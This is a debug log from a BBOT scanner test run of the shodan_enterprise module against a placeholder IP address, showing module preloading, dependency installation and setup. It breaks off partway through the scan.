Preloading unarchive from cache -2026-02-27 18:11:25,907 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:11:25,907 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:11:25,908 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:11:25,908 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:11:25,909 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:11:25,909 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:11:25,910 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:11:25,910 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:11:25,912 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:11:25,913 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:11:25,914 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:11:25,915 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:11:25,917 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:11:25,918 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:11:25,920 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:11:25,920 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:11:25,921 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:11:25,922 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:11:25,923 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:11:25,924 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:11:25,925 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:11:25,926 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:11:25,927 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:11:25,928 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:11:25,928 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:11:25,929 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:11:25,929 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:11:25,930 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:11:25,931 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:11:25,931 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:11:25,932 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:11:25,936 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:11:25,937 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:11:25,938 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:11:25,939 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:11:25,939 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:11:25,940 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:11:25,941 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:11:25,941 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:11:25,942 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:11:25,943 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:11:25,943 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:11:25,944 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:11:25,945 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:11:25,945 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:11:25,946 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:11:25,947 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:11:25,947 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:11:25,948 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:11:25,948 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:11:25,949 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:11:25,949 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:11:25,950 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:11:25,951 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:11:25,951 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:11:25,952 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:11:25,952 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:11:25,958 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:11:25,958 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:11:25,959 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:11:25,960 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:11:25,961 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:11:25,962 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:11:25,963 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:11:25,963 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:11:25,964 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:11:25,965 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:11:25,966 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:11:25,967 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:11:25,968 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:11:25,968 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:11:25,969 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:11:25,970 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:11:25,970 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:11:25,971 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:11:25,972 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:11:25,972 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:11:25,973 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:11:25,974 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:11:25,974 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:11:25,975 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:11:25,976 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:11:25,976 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:11:25,977 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:11:25,978 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:11:25,979 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:11:25,980 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:11:25,981 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:11:25,981 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:11:25,982 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:11:25,982 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:11:25,983 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:11:25,984 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:11:25,984 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:11:25,985 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:11:25,986 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:11:25,986 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:11:25,987 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:11:25,987 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:11:25,988 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:11:25,989 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:11:25,989 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:11:25,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:11:25,991 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:11:25,991 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:11:25,992 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:11:25,992 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:11:25,993 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:11:25,993 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:11:25,994 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:11:25,995 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:11:25,996 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:11:25,996 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:11:25,997 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:11:25,997 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:11:25,998 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:11:25,998 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:11:25,999 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:11:26,000 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:11:26,001 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:11:26,001 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:11:26,002 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:11:26,002 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:11:26,003 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:11:26,004 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:11:26,004 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:11:26,005 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:11:26,005 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:11:26,006 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:11:26,006 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:11:26,007 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:11:26,008 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:11:26,008 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:11:26,009 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:11:26,010 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:11:27,089 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:11:27,089 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:11:27,090 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:11:27,231 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:11:27,771 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:11:27,969 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:11:27,970 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:11:28,079 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:11:28,080 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:11:28,136 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:11:28,138 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:11:28,139 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:11:28,560 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:11:28,560 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:11:32,287 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:11:32,287 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:11:32,287 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:11:34,178 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:11:34,180 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:11:34,185 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:34,186 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:11:34,187 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:11:34,187 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:11:34,187 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:11:34,188 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:11:34,192 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/dyh3obu2j5off6wberwd -2026-02-27 18:11:34,954 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:11:34,955 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:11:34,956 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:11:35,077 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:11:35,077 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:11:35,077 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:11:35,079 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:11:35,079 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:11:35,080 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:11:35,080 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:11:35,081 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:11:35,081 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:11:35,081 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:11:35,082 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:11:35,082 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:11:35,083 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:11:35,083 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:11:35,084 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:11:35,084 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:11:35,085 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:11:35,085 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:11:35,086 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:11:35,086 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:11:35,087 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:11:35,087 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:11:35,087 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:11:35,088 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:11:35,088 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:11:35,089 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:11:35,089 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:11:35,089 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:11:35,089 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:11:35,241 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_krx0h9sjry -2026-02-27 18:11:35,242 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:11:35,381 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:11:35,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:11:35,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:11:35,383 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:11:35,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check -2026-02-27 18:11:35,484 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) -2026-02-27 18:11:35,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target -2026-02-27 18:11:35,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:11:35,486 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:35,487 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:35,487 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:11:35,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:11:35,489 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:35,490 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:11:35,491 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:35,492 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:11:35,493 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:35,494 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:11:35,495 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:9446bfbc7faae7273bc9625437c889209b6d9884', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:11:35,497 [DEBUG] 